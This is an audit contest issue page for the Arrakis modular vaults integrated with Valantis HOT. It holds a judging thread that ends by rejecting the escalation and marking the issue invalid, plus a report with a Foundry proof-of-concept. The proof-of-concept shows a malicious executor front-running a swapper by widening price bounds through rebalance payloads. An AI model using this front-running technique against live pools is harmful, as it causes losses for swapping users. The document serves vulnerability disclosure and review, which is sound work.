Closed sherlock-admin3 closed 3 months ago
Escalate
This is a valid issue. It demonstrates how a malicious executor can instantly change liquidity bounds to cause fund loss.
The Valantis docs state the following:
Liquidity Providers should implement a Timelock before calling the setPriceBounds function in the HOT. Without proper Timelocks, malicious price-bound attacks could become possible.
This attack is enabled by the fact that the Arrakis contracts incorrectly do not implement the timelock to setPriceBounds, which is a specified requirement for integrating with Valantis ALM contracts.
Escalate
This is a valid issue. It demonstrates how a malicious executor can instantly change liquidity bounds to cause fund loss.
The Valantis docs state the following:
Liquidity Providers should implement a Timelock before calling the setPriceBounds function in the HOT. Without proper Timelocks, malicious price-bound attacks could become possible.
This attack is enabled by the fact that the Arrakis contracts incorrectly do not implement the timelock to setPriceBounds, which is a specified requirement for integrating with Valantis ALM contracts.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
As I understand, the function to change the price bounds (the one you referenced in the report) is only callable by the Manager, who is trusted for Valantis Hot, but for this attack to go through it has to be malicious, correct?
the ValantisHOTModule
is a part of arrakis contracts, not valantis. The onlyManager
modifier means that the function ValantisHOTModule.setPriceBounds()
can only be called by the manager of the arrakis meta-vault, which is the ArrakisStandardManager
contract (which is not trusted since the untrusted vault executor can call setPriceBounds
via this contract.
While the naming is a bit confusing, the ArrakisStandardManager
is different to the trusted 'manager' in the valantis-core contracts.
@WangSecurity
As the report mentions in the "Impact section -
"Note that while users can set the minAmountOut
to mitigate against this attack, the executor can simply adjust the price range to maximally extract funds from the user before it exceeds the slippage set."
So the User get's atleast minAmountOut
of tokens mentioned by him during a swap , i think it serves the concept of Defi Swaps.
I think in almost all the Defi swaps , manipulation is possible but as far as Slippage controls are set - the loss of funds are minimized & it is not considered a valid issue .
Also , to mention the foundry POC given sets the swap with "amountOutMin: 0," during swap :
SovereignPoolSwapParams memory swapParams =
SovereignPoolSwapParams({
isSwapCallback: false,
isZeroToOne: isZeroForOne,
amountIn: amountIn,
amountOutMin: 0, <@audit
recipient: swapReceiver,
deadline: block.timestamp + 2,
swapTokenOut: isZeroForOne ? address(token1) : address(token0),
swapContext: SovereignPoolSwapContextData("", "", "", "")
});
i think it is an overinflated report , even though I believe sponsor should look into the Mitigation part - not allow the executor to access the setPriceBounds function
& reduce the power given to executor .
Correct me if my understanding is wrong @0xjuaan
This is a fair point from @ADK0010
Will let judge decide severity, potentially can be downgraded to medium due to loss of funds that is constrained
thanks to both Watsons for these explanations
@0xjuaan I've got a question about your clarification here as I see in the README, the executor of the ArrakisStandardManager
is restricted only during rebalancing:
Executor of ArrakisStandardManager is RESTRICTED during rebalance action on vaults.
And in this issue the root cause is that this restricted executor can call ArrakisStandardManager
's rebalance
function with arbitrary payloads
on arbitrary router
?
It's not an arbitrary router in this case. Rather than calling ValantisHOTModule.swap()
which involves passing in a router_
, the payload provided to rebalance()
simply calls ValantisHOTModule.setPriceBounds()
directly.
To add up giving simple uniswap swap If a user sets 'minAmountOut' 5% lower Wouldn't there be malicious sandwich attack by bots? Hence this wouldn't be a bug as already the user is accepting such a slippage
To clarify, the loss is only slippage, i.e. if the user uses slippage of 5%, the loss is only 5%, same with 1% and with 50% (for example)?
Does the executor get any profit from this? I don't see the report mentioning it.
Yes , User receives atleast minAmountOut
of tokens after swap which is acceptable Loss in Defi swaps.
Does the executor get any profit from this? - No
Again i want to mention that sponsor @Gevarist must look into the Mitigation part - not allow the executor to access the setPriceBounds function or atleast reduce the power given to executor by setting Timelocks as specified
here . Maybe there are other ways to exploit this issue .
So a valid Low.
I agree that since the loss of this attack is already mitigated by using appropriate slippage protection (which is set by the users themselves), then this is an acceptable behaviour and each user receives the amount they want, even though it's only a minimum they accept.
Hence, planning to reject the escalation and leave the issue as it is.
Result: Invalid Unique
juaan
high
Malicious executor can front-run swapper to make them lose funds (by changing liquidity bounds)
Summary
The
ArrakisStandardManager
'srebalance()
function allows theexecutor
role to call arbitrarypayloads_
on theValantisHOTModule
linked to a specific meta-vault.A malicious executor can use this to widen the liquidity price bounds before a user swaps in the
SovereignPool
, increasing the price impact of their trade, leading to loss of funds.Vulnerability Detail
The malicious executor will observe a swap transaction in the mempool, and will front-run it with the following action:
This changes the price bounds of the liquidity provided for the AMM swaps, and widens it maximally.
This increases the price impact of the user’s swap, making them lose more funds- as demonstrated in the PoC.
Impact
At zero cost, a malicious executor can cause sizeable fund loss to swappers by front-running transactions and changing liquidity bounds. The percentage loss increases with the size of the swap.
Note that while users can set the
minAmountOut
to mitigate against this attack, the executor can simply adjust the price range to maximally extract funds from the user before it exceeds the slippage set.Code Snippet
https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L303-L315
Proof of Concept
The PoC demonstrates how a swapper can lose 19% of their token value due to price impact after a malicious executor dilutes the liquidity over a large price range.
The percentage loss depends on various factors like the pool's liquidity, the size of the swap, and the liquidity bounds set by the malicious executor.
To run the PoC, add the test file to
arrakis-modular/test/integration
and runforge test --mt test_frontrun_changePriceBounds
Foundry test
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; // Foundry Imports import {console} from "forge-std/console.sol"; import {Vm} from "forge-std/Vm.sol"; import {Test} from "forge-std/Test.sol"; // Arrakis Imports import {IArrakisMetaVaultPublic} from "../../src/interfaces/IArrakisMetaVaultPublic.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {IArrakisStandardManager} from "../../src/interfaces/IArrakisStandardManager.sol"; import {IArrakisLPModule} from "../../src/interfaces/IArrakisLPModule.sol"; // Valantis Imports import {IValantisHOTModule} from "../../src/interfaces/IValantisHOTModule.sol"; import {SovereignPool} from "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol"; import {HOT} from "@valantis-hot/contracts/HOT.sol"; // Base Test import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; import { SovereignPoolConstructorArgs, SovereignPoolSwapParams, SovereignPoolSwapContextData } from "../../lib/valantis-hot/lib/valantis-core/test/base/SovereignPoolBase.t.sol"; contract PoC_Frontrun_SetPriceBounds is ValantisIntegrationPublicTest { address user; address receiver; uint160 internal constant MIN_SQRT_PRICE = 4295128739; uint160 internal constant MAX_SQRT_PRICE = 1461446703485210103287273052203988822378723970342; function test_frontrun_changePriceBounds() public { // #region mint. user = makeAddr("user"); receiver = makeAddr("receiver"); deal(address(token0), user, init0); deal(address(token1), user, init1); address m = address(IArrakisMetaVault(vault).module()); // Minting initial vault shares vm.startPrank(user); token0.approve(m, init0); token1.approve(m, init1); IArrakisMetaVaultPublic(vault).mint(1e18, receiver); vm.stopPrank(); // #endregion mint. // #region do a swap. address swapper = vm.addr(uint256(keccak256(abi.encode("Swapper")))); address swapReceiver = vm.addr(uint256(keccak256(abi.encode("Swap Receiver")))); uint256 amountIn = 500e6; bool isZeroForOne = true; deal(address(token0), swapper, amountIn); vm.prank(swapper); token0.approve(address(pool), amountIn); SovereignPoolSwapParams memory swapParams = SovereignPoolSwapParams({ isSwapCallback: false, isZeroToOne: isZeroForOne, amountIn: amountIn, amountOutMin: 0, recipient: swapReceiver, deadline: block.timestamp + 2, swapTokenOut: isZeroForOne ? address(token1) : address(token0), swapContext: SovereignPoolSwapContextData("", "", "", "") }); uint256 snapshot = vm.snapshot(); vm.prank(swapper); (uint256 amountInUsed, uint256 amountOut) = pool.swap(swapParams); console.log("[Swap without malicious executor frontrunning]"); console.log("amountIn: %e", amountIn); console.log("amountInUsed: %e", amountInUsed); console.log("amountOut: %e", amountOut); vm.revertTo(snapshot); // Frontrun the swap with the attack (makes us get 4.7619047619047578e16- more price impact) _rebalance_changeBounds(MIN_SQRT_PRICE, MAX_SQRT_PRICE); vm.prank(swapper); (uint256 amountInUsed2, uint256 amountOut2) = pool.swap(swapParams); console.log("\n [Swap with malicious executor frontrunning]"); console.log("amountIn: %e", amountIn); console.log("amountInUsed: %e", amountInUsed2); console.log("amountOut: %e", amountOut2); console.log("\n Lost funds for swapper: %e ETH (~%d% lost)", amountOut-amountOut2, 100 * (amountOut-amountOut2) / amountOut); } function _rebalance_changeBounds(uint256 left, uint256 right) internal { bytes memory data = abi.encodeWithSelector( IValantisHOTModule.setPriceBounds.selector, left, right, 0, 0 ); bytes[] memory datas = new bytes[](1); datas[0] = data; vm.prank(executor); IArrakisStandardManager(manager).rebalance(vault, datas); } } ```Console Output
```bash Ran 1 test for test/integration/H5.t.sol:PoC_Frontrun_SetPriceBounds [PASS] test_frontrun_changePriceBounds() (gas: 1360540) Logs: [Swap without malicious executor frontrunning] amountIn: 5e8 amountInUsed: 5e8 amountOut: 2.49688058834343145e17 [Swap with malicious executor frontrunning] amountIn: 5e8 amountInUsed: 5e8 amountOut: 1.99999999999999289e17 Lost funds for swapper: 4.9688058834343856e16 ETH (~19% lost) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.26s ```Tool used
Manual Review
Recommendation
One solution would not allow the
executor
to access thesetPriceBounds
function.